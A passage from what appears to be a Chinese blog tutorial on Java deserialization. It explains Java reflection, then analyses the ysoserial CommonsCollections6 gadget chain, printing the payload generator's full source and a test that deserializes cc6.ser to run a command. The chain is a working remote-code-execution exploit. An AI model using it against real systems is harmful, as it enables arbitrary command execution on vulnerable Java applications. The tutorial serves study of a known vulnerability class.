class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> java.io.FileInputStream;</span><br><span class="line"><span class="keyword">import</span> java.io.FileNotFoundException;</span><br><span class="line"><span class="keyword">import</span> java.io.IOException;</span><br><span class="line"><span class="keyword">import</span> java.io.ObjectInputStream;</span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.InvocationTargetException;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">TestCC6</span> {</span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> <span class="keyword">throws</span> IOException, ClassNotFoundException{</span><br><span class="line"> <span class="type">ObjectInputStream</span> <span class="variable">objectInputStream</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ObjectInputStream</span>(<span class="keyword">new</span> <span class="title class_">FileInputStream</span>(<span class="string">"cc6.ser"</span>));</span><br><span class="line"> objectInputStream.readObject();</span><br><span class="line"> objectInputStream.close();</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>把生成的cc6.ser放在项目根目录下执行代码,弹出计算机</p><p><img src="https://s2.loli.net/2023/04/05/7aHMIujDfJiTLyc.png" class="lazyload" data-srcset="https://s2.loli.net/2023/04/05/7aHMIujDfJiTLyc.png" srcset="data:image/gif;base64,R0lGODlhAQABAIAAAP///////yH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==" alt="image-20221128172245115"></p><p>运行环境为java11</p><p>要解析cc6链的结构代码要先学习下java反射相关,我们可以在很多java漏洞的POC中看到反射的利用,所以学习java安全是绕不开反射的。</p><h2 id="java反射"><a href="#java反射" class="headerlink" title="java反射"></a>java反射</h2><p>Java反射机制是在运行状态中,对于任意一个类,都能够知道这个类的所有属性和方法;对于任意一个对象,都能够调用它的任意方法和属性(包括私有的方法和属性);这种动态获取信息以及动态调用对象方法的功能称为java语言的反射机制。</p><p>涉及到java中的几个类:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">Class类代表类的实体,在运行的java应用程序中表示类和接口</span><br><span class="line"></span><br><span class="line">Field类:代表类的成员变量(成员变量也称为类的属性)</span><br><span class="line"></span><br><span class="line">Method类:代表类的方法</span><br><span class="line"></span><br><span class="line">Constructor类:代表类的构造方法</span><br></pre></td></tr></table></figure><p>在Java中你看到的绝大部分成员,其实都可以称之为对象(除了普通数据类型和静态成员)。</p><p>类也是对象,类是java.lang.Class类的实例对象</p><p>Class类抽象出了java中类的特征并提供了一些方法</p><p>有三种方式获得Class类实例:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="number">1.</span>如果知道class的完整类名,可以调用Class类的静态方法Class.forName获取</span><br><span class="line"><span class="type">Class</span> <span class="variable">clz</span> <span class="operator">=</span> Class.forName(<span class="string">"com.GhostToKnow.User"</span>);</span><br><span class="line"></span><br><span class="line"><span class="number">2.</span>任何一个类都有一个隐含的静态成员class,这个属性就存储着这个类对应的Class类的实例:</span><br><span class="line"><span class="type">Class</span> <span class="variable">clz</span> <span class="operator">=</span> com.GhostToKnow.User.class;</span><br><span class="line"></span><br><span class="line"><span class="number">3.</span>调用这个对象的getClass()方法:</span><br><span class="line"><span class="type">Class</span> <span class="variable">clz</span> <span class="operator">=</span> (<span class="keyword">new</span> <span class="title class_">User</span>()).getClass();</span><br></pre></td></tr></table></figure><h3 id="测试获取,调用方法"><a href="#测试获取,调用方法" class="headerlink" title="测试获取,调用方法"></a>测试获取,调用方法</h3><p>User</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">User</span> {</span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">test</span><span class="params">(String name)</span>{</span><br><span class="line"> System.out.println(<span class="string">"Hello:"</span>+name);</span><br><span class="line"> }</span><br><span class="line"> }</span><br></pre></td></tr></table></figure><h4 id="获取方法:"><a href="#获取方法:" class="headerlink" title="获取方法:"></a>获取方法:</h4><p>我们之前已经提到了Method这个类,java中所有的方法都是Method类型,所以我们通过反射机制获取到某个对象的方法也是Method类型的。通过Class对象获取某个方法:</p><p>方法的名称和方法的参数列表,两者信息才能确定某一个方法</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">clz.getMethod(方法名,这个方法的参数类型)</span><br></pre></td></tr></table></figure><h4 id="调用方法:"><a href="#调用方法:" class="headerlink" title="调用方法:"></a>调用方法:</h4><p>Method类中有一个invoke方法,就是用来调用特定方法的,用法如下:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> Object <span class="title function_">invoke</span><span class="params">(Object obj, Object... args)</span></span><br></pre></td></tr></table></figure><p>第一个参数是调用该方法的对象,第二个参数是一个可变长参数,是这个方法的需要传入的参数</p><p>testUser</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> java.lang.reflect.InvocationTargetException;</span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.Method;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">testUser</span> {</span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> <span class="keyword">throws</span> NoSuchMethodException, InvocationTargetException, IllegalAccessException {</span><br><span class="line"> <span class="type">Class</span> <span class="variable">user</span> <span class="operator">=</span> (<span class="keyword">new</span> <span class="title class_">User</span>()).getClass();</span><br><span class="line"> <span class="comment">//第二个参数要传class类,如果参数有多个传入:new Class[]{String.class,String.class} </span></span><br><span class="line"> <span class="type">Method</span> <span class="variable">test</span> <span class="operator">=</span> user.getMethod(<span class="string">"test"</span>,String.class);</span><br><span class="line"> <span class="comment">//如果第二个参数有多个传入:new Object[]{"1","2"}</span></span><br><span class="line"> test.invoke((<span class="keyword">new</span> <span class="title class_">User</span>()),<span class="string">"GhostToKnow"</span>);</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><h4 id=""><a href="#" class="headerlink" title=""></a><img src="https://s2.loli.net/2023/04/05/UZpOctVF7AQE14X.png" class="lazyload" data-srcset="https://s2.loli.net/2023/04/05/UZpOctVF7AQE14X.png" srcset="data:image/gif;base64,R0lGODlhAQABAIAAAP///////yH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==" alt="image-20221129140628374"></h4><h3 id="修改变量"><a href="#修改变量" class="headerlink" title="修改变量"></a>修改变量</h3><p>User</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">User</span> {</span><br><span class="line"> <span class="keyword">private</span> <span class="type">String</span> <span class="variable">pass</span> <span class="operator">=</span> <span class="string">"123321"</span>;</span><br><span class="line"> <span class="meta">@Override</span></span><br><span class="line"> <span class="keyword">public</span> String <span class="title function_">toString</span><span class="params">()</span> {</span><br><span class="line"> <span class="keyword">return</span> <span class="string">"User{"</span> +</span><br><span class="line"> <span class="string">"pass='"</span> + pass + <span class="string">'\''</span> +</span><br><span class="line"> <span class="string">'}'</span>;</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>testUser</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> java.lang.reflect.Field;</span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.InvocationTargetException;</span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.Method;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">testUser</span> {</span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> <span class="keyword">throws</span> NoSuchMethodException, InvocationTargetException, IllegalAccessException, NoSuchFieldException {</span><br><span class="line"> <span class="type">Class</span> <span class="variable">user</span> <span class="operator">=</span> (<span class="keyword">new</span> <span class="title class_">User</span>()).getClass();</span><br><span class="line"> <span class="comment">//获取私有属性对象</span></span><br><span class="line"> <span class="type">Field</span> <span class="variable">pass</span> <span class="operator">=</span> user.getDeclaredField(<span class="string">"pass"</span>);</span><br><span class="line"> <span class="comment">//关闭java访问控制检查,就可以给private属性赋值调用</span></span><br><span class="line"> pass.setAccessible(<span class="literal">true</span>);</span><br><span class="line"> <span class="type">User</span> <span class="variable">u</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">User</span>();</span><br><span class="line">System.out.println(u);</span><br><span class="line"> pass.set(u,<span class="string">"GhostToKnow"</span>);</span><br><span class="line"> System.out.println(u);</span><br><span class="line"> System.out.println(pass.get(u));</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"></span><br></pre></td></tr></table></figure><h3 id="常用方法"><a href="#常用方法" class="headerlink" title="常用方法"></a>常用方法</h3><p>获取类:forName / getClass</p><p>获取类下的函数: getMethod/s / getDeclaredMethod/s</p><p>执行类下的函数: invoke</p><p>获取类构造方法: getConstructor/s / getDeclaredConstructor/s</p><h2 id="CC链源码分析"><a href="#CC链源码分析" class="headerlink" title="CC链源码分析"></a>CC链源码分析</h2><p>我们需要payload经过反序列化过后会执行:<code>Runtime.getRuntime().exec("任意命令")</code></p><p>CommonsCollections6.java 在\ysoserial\src\main\java\ysoserial\payloads\CommonsCollections6.java</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> ysoserial.payloads;</span><br><span class="line"></span><br><span class="line"><span class="meta">@SuppressWarnings({"rawtypes", "unchecked"})</span></span><br><span class="line"><span class="meta">@Dependencies({"commons-collections:commons-collections:3.1"})</span></span><br><span class="line"><span class="meta">@Authors({ Authors.MATTHIASKAISER })</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">CommonsCollections6</span> <span class="keyword">extends</span> <span class="title class_">PayloadRunner</span> <span class="keyword">implements</span> <span class="title class_">ObjectPayload</span><Serializable> {</span><br><span class="line"></span><br><span class="line"> <span class="keyword">public</span> Serializable <span class="title function_">getObject</span><span class="params">(<span class="keyword">final</span> String command)</span> <span class="keyword">throws</span> Exception {</span><br><span class="line"></span><br><span class="line"> <span class="keyword">final</span> String[] execArgs = <span class="keyword">new</span> <span class="title class_">String</span>[] { command };</span><br><span class="line"></span><br><span class="line"> <span class="keyword">final</span> Transformer[] transformers = <span class="keyword">new</span> <span class="title class_">Transformer</span>[] {</span><br><span class="line"> <span class="keyword">new</span> <span class="title class_">ConstantTransformer</span>(Runtime.class),</span><br><span class="line"> <span class="keyword">new</span> <span class="title class_">InvokerTransformer</span>(<span class="string">"getMethod"</span>, <span class="keyword">new</span> <span class="title class_">Class</span>[] {</span><br><span class="line"> String.class, Class[].class }, <span class="keyword">new</span> <span class="title class_">Object</span>[] {</span><br><span class="line"> <span class="string">"getRuntime"</span>, <span class="keyword">new</span> <span class="title class_">Class</span>[<span class="number">0</span>] }),</span><br><span class="line"> <span class="keyword">new</span> <span class="title class_">InvokerTransformer</span>(<span class="string">"invoke"</span>, <span class="keyword">new</span> <span class="title class_">Class</span>[] {</span><br><span class="line"> Object.class, Object[].class }, <span class="keyword">new</span> <span class="title class_">Object</span>[] {</span><br><span class="line"> <span class="literal">null</span>, <span class="keyword">new</span> <span class="title class_">Object</span>[<span class="number">0</span>] }),</span><br><span class="line"> <span class="keyword">new</span> <span class="title class_">InvokerTransformer</span>(<span class="string">"exec"</span>,</span><br><span class="line"> <span class="keyword">new</span> <span class="title class_">Class</span>[] { String.class }, execArgs),</span><br><span class="line"> <span class="keyword">new</span> <span class="title class_">ConstantTransformer</span>(<span class="number">1</span>) };</span><br><span class="line"></span><br><span class="line"> <span class="type">Transformer</span> <span class="variable">transformerChain</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ChainedTransformer</span>(transformers);</span><br><span class="line"></span><br><span class="line"> <span class="keyword">final</span> <span class="type">Map</span> <span class="variable">innerMap</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">HashMap</span>();</span><br><span class="line"></span><br><span class="line"> <span class="keyword">final</span> <span class="type">Map</span> <span class="variable">lazyMap</span> <span class="operator">=</span> LazyMap.decorate(innerMap, transformerChain);</span><br><span class="line"></span><br><span class="line"> <span class="type">TiedMapEntry</span> <span class="variable">entry</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">TiedMapEntry</span>(lazyMap, <span class="string">"foo"</span>);</span><br><span class="line"></span><br><span class="line"> <span class="type">HashSet</span> <span class="variable">map</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">HashSet</span>(<span class="number">1</span>);</span><br><span class="line"> map.add(<span class="string">"foo"</span>);</span><br><span class="line"> <span class="type">Field</span> <span class="variable">f</span> <span class="operator">=</span> <span class="literal">null</span>;</span><br><span class="line"> <span class="keyword">try</span> {</span><br><span class="line"> f = HashSet.class.getDeclaredField(<span class="string">"map"</span>);</span><br><span class="line"> } <span class="keyword">catch</span> (NoSuchFieldException e) {</span><br><span class="line"> f = HashSet.class.getDeclaredField(<span class="string">"backingMap"</span>);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> Reflections.setAccessible(f);</span><br><span class="line"> <span class="type">HashMap</span> <span class="variable">innimpl</span> <span class="operator">=</span> (HashMap) f.get(map);</span><br><span class="line"></span><br><span class="line"> <span class="type">Field</span> <span class="variable">f2</span> <span class="operator">=</span> <span class="literal">null</span>;</span><br><span class="line"> <span class="keyword">try</span> {</span><br><span class="line"> f2 = HashMap.class.getDeclaredField(<span class="string">"table"</span>);</span><br><span class="line"> } <span class="keyword">catch</span> (NoSuchFieldException e) {</span><br><span class="line"> f2 = HashMap.class.getDeclaredField(<span class="string">"elementData"</span>);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> Reflections.setAccessible(f2);</span><br><span class="line"> Object[] array = (Object[]) f2.get(innimpl);</span><br><span class="line"></span><br><span class="line"> <span class="type">Object</span> <span class="variable">node</span> <span class="operator">=</span> array[<span class="number">0</span>];</span><br><span class="line"> <span class="keyword">if</span>(node == <span class="literal">null</span>){</span><br><span class="line"> node = array[<span class="number">1</span>];</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="type">Field</span> <span class="variable">keyField</span> <span class="operator">=</span> <span class="literal">null</span>;</span><br><span class="line"> <span class="keyword">try</span>{</span><br><span class="line"> keyField = node.getClass().getDeclaredField(<span class="string">"key"</span>);</span><br><span class="line"> }<span class="keyword">catch</span>(Exception e){</span><br><span class="line"> keyField = Class.forName(<span class="string">"java.util.MapEntry"</span>).getDeclaredField(<span class="string">"key"</span>);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> Reflections.setAccessible(keyField);</span><br><span class="line"> keyField.set(node, entry);</span><br><span class="line"></span><br><span class="line"> <span class="keyword">return</span> map;</span><br><span class="line"></span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(<span class="keyword">final</span> String[] args)</span> <span class="keyword">throws</span> Exception {</span><br><span class="line"> PayloadRunner.run(CommonsCollections6.class, args);</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>其中我们先看这里,是整个漏洞的核心,我们一个个函数的看</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">final</span> Transformer[] transformers = <span class="keyword">new</span> <span class="title class_">Transformer</span>[] {</span><br><span class="line"> <span class="keyword">new</span> <span class="title class_">ConstantTransformer</span>(Runtime.class),</span><br><span class="line"> <span class="keyword">new</span> <span class="title class_">InvokerTransformer</span>(<span class="string">"getMethod"</span>, <span class="keyword">new</span> <span class="title class_">Class</span>[] {</span><br><span class="line"> String.class, Class[].class }, <span class="keyword">new</span> <span class="title class_">Object</span>[] {</span><br><span class="line"> <span class="string">"getRuntime"</span>, <span class="keyword">new</span> <span class="title class_">Class</span>[<span class="number">0</span>] }),</span><br><span class="line"> <span class="keyword">new</span> <span class="title class_">InvokerTransformer</span>(<span class="string">"invoke"</span>, <span class="keyword">new</span> <span class="title class_">Class</span>[] {</span><br><span class="line"> Object.class, Object[].class }, <span class="keyword">new</span> <span class="title class_">Object</span>[] {</span><br><span class="line"> <span class="literal">null</span>, <span class="keyword">new</span> <span class="title class_">Object</span>[<span class="number">0</span>] }),</span><br><span class="line"> <span class="keyword">new</span> <span class="title class_">InvokerTransformer</span>(<span class="string">"exec"</span>,</span><br><span class="line"> <span class="keyword">new</span> <span class="title class_">Class</span>[] { String.class }, execArgs),</span><br><span class="line"> <span class="keyword">new</span> <span class="title class_">ConstantTransformer</span>(<span class="number">1</span>) };</span><br><span class="line"><span class="type">Transformer</span> <span class="variable">transformerChain</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ChainedTransformer</span>(transformers);</span><br></pre></td></tr></table></figure><p>跟进ConstantTransformer看一下</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> org.apache.commons.collections.functors;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.io.Serializable;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.Transformer;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">ConstantTransformer</span> <span class="keyword">implements</span> <span class="title class_">Transformer</span>, Serializable {</span><br><span class="line"> <span class="keyword">private</span> <span class="keyword">static</span> <span class="keyword">final</span> <span class="type">long</span> <span class="variable">serialVersionUID</span> <span class="operator">=</span> <span class="number">6374440726369055124L</span>;</span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">final</span> <span class="type">Transformer</span> <span class="variable">NULL_INSTANCE</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ConstantTransformer</span>((Object)<span class="literal">null</span>);</span><br><span class="line"> <span class="keyword">private</span> <span class="keyword">final</span> Object iConstant;</span><br><span class="line"></span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">static</span> Transformer <span class="title function_">getInstance</span><span class="params">(Object constantToReturn)</span> {</span><br><span class="line"> <span class="keyword">return</span> (Transformer)(constantToReturn == <span class="literal">null</span> ? NULL_INSTANCE : <span class="keyword">new</span> <span class="title class_">ConstantTransformer</span>(constantToReturn));</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">public</span> <span class="title function_">ConstantTransformer</span><span class="params">(Object constantToReturn)</span> {</span><br><span class="line"> <span class="built_in">this</span>.iConstant = constantToReturn;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">public</span> Object <span class="title function_">transform</span><span class="params">(Object input)</span> {</span><br><span class="line"> <span class="keyword">return</span> <span class="built_in">this</span>.iConstant;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">public</span> Object <span class="title function_">getConstant</span><span class="params">()</span> {</span><br><span class="line"> <span class="keyword">return</span> <span class="built_in">this</span>.iConstant;</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>它的transform方法会返回iConstant,而this.iConstant是来自构造器参数constantToReturn,所以我们在实例化时传入一个Runtime.class返回的也是Runtime.class就解决了<code>Runtime.getRuntime().exec("任意命令")</code>开头我们需要的Runtime类</p><p>再跟进InvokerTransformer看一下实现了什么,这里只展示需要的代码</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><span class="line">构造方法</span><br><span class="line"> <span class="keyword">public</span> <span class="title function_">InvokerTransformer</span><span class="params">(String methodName, Class[] paramTypes, Object[] args)</span> {</span><br><span class="line"> <span class="built_in">this</span>.iMethodName = methodName;</span><br><span class="line"> <span class="built_in">this</span>.iParamTypes = paramTypes;</span><br><span class="line"> <span class="built_in">this</span>.iArgs = args;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line">transform方法</span><br><span class="line"><span class="keyword">public</span> Object <span class="title function_">transform</span><span class="params">(Object input)</span> {</span><br><span class="line"> <span class="keyword">if</span> (input == <span class="literal">null</span>) {</span><br><span class="line"> <span class="keyword">return</span> <span class="literal">null</span>;</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> <span class="keyword">try</span> {</span><br><span class="line"> <span class="type">Class</span> <span class="variable">cls</span> <span class="operator">=</span> input.getClass();</span><br><span class="line"> <span class="type">Method</span> <span class="variable">method</span> <span class="operator">=</span> cls.getMethod(<span class="built_in">this</span>.iMethodName, <span class="built_in">this</span>.iParamTypes);</span><br><span class="line"> <span class="keyword">return</span> method.invoke(input, <span class="built_in">this</span>.iArgs);</span><br><span class="line"> } <span class="keyword">catch</span> (NoSuchMethodException var4) {</span><br><span class="line"> <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">FunctorException</span>(<span class="string">"InvokerTransformer: The method '"</span> + <span class="built_in">this</span>.iMethodName + <span class="string">"' on '"</span> + input.getClass() + <span class="string">"' does not exist"</span>);</span><br><span class="line"> } <span class="keyword">catch</span> (IllegalAccessException var5) {</span><br><span class="line"> <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">FunctorException</span>(<span class="string">"InvokerTransformer: The method '"</span> + <span class="built_in">this</span>.iMethodName + <span class="string">"' on '"</span> + input.getClass() + <span class="string">"' cannot be accessed"</span>);</span><br><span class="line"> } <span class="keyword">catch</span> (InvocationTargetException var6) {</span><br><span class="line"> <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">FunctorException</span>(<span class="string">"InvokerTransformer: The method '"</span> + <span class="built_in">this</span>.iMethodName + <span class="string">"' on '"</span> + input.getClass() + <span class="string">"' threw an exception"</span>, var6);</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> }</span><br></pre></td></tr></table></figure><p>在前面说到了反射机制,这里的transform很明显就是利用了反射机制,是执行了某个对象的某个方法</p><p>使用的this.iMethodName,this.iParamTypes,this.iArgs都是可以通过构造方法传入的,也就是我们可控的,那么只要input可控,就可以执行任意对象的任意方法,这里就要看到ChainedTransformer类了</p><p>ChainedTransformer</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"> <span class="comment">//构造方法</span></span><br><span class="line"><span class="keyword">public</span> <span class="title function_">ChainedTransformer</span><span class="params">(Transformer[] transformers)</span> {</span><br><span class="line"> <span class="built_in">this</span>.iTransformers = transformers;</span><br><span class="line"> }</span><br><span class="line"> <span class="comment">//transform方法</span></span><br><span class="line"><span class="keyword">public</span> Object <span class="title function_">transform</span><span class="params">(Object object)</span> {</span><br><span class="line"> <span class="keyword">for</span>(<span class="type">int</span> <span class="variable">i</span> <span class="operator">=</span> <span class="number">0</span>; i < <span class="built_in">this</span>.iTransformers.length; ++i) {</span><br><span class="line"> object = <span class="built_in">this</span>.iTransformers[i].transform(object);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">return</span> object;</span><br><span class="line"> }</span><br></pre></td></tr></table></figure><p>这个类的构造函数接收一个Transformer类型的数组,并且在transform方法中会遍历这个数组,并调用数组中的每一个成员的transform方法,而且会把上一个成员调用transform的方法返回的对象,当作下一个成员的transform方法的参数,这就是一个链式调用,配合InvokerTransformer类中的transform方法,input也可控了</p><p>至此整个漏洞核心已经明了,利用ConstantTransformer的transform方法获取Runtime.class,再利用ChainedTransformer的transform方法把Runtime.class传给InvokerTransformer的transform方法利用,再利用ChainedTransformer的transform方法不断调用InvokerTransformer的transform方法,利用这个方法的反射相关代码,所有参数都是可控的。</p><p>可能有点晕,这三个XXXtransformer类都是实现了TransFormer这个接口,所以他们都有一个transform方法</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">InvokerTransformer :transform方法通过反射可以执行一个对象的任意方法</span><br><span class="line"></span><br><span class="line">ConstantTransformer : transform返回构造函数传入的参数</span><br><span class="line"></span><br><span class="line">ChainedTransformer :transform方法执行构造函数传入数组的每一个成员的transform方法</span><br></pre></td></tr></table></figure><p>把这几个transformer组合起来构造一个执行链,代码如下,这是直接截取的CC6链的部分代码:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span 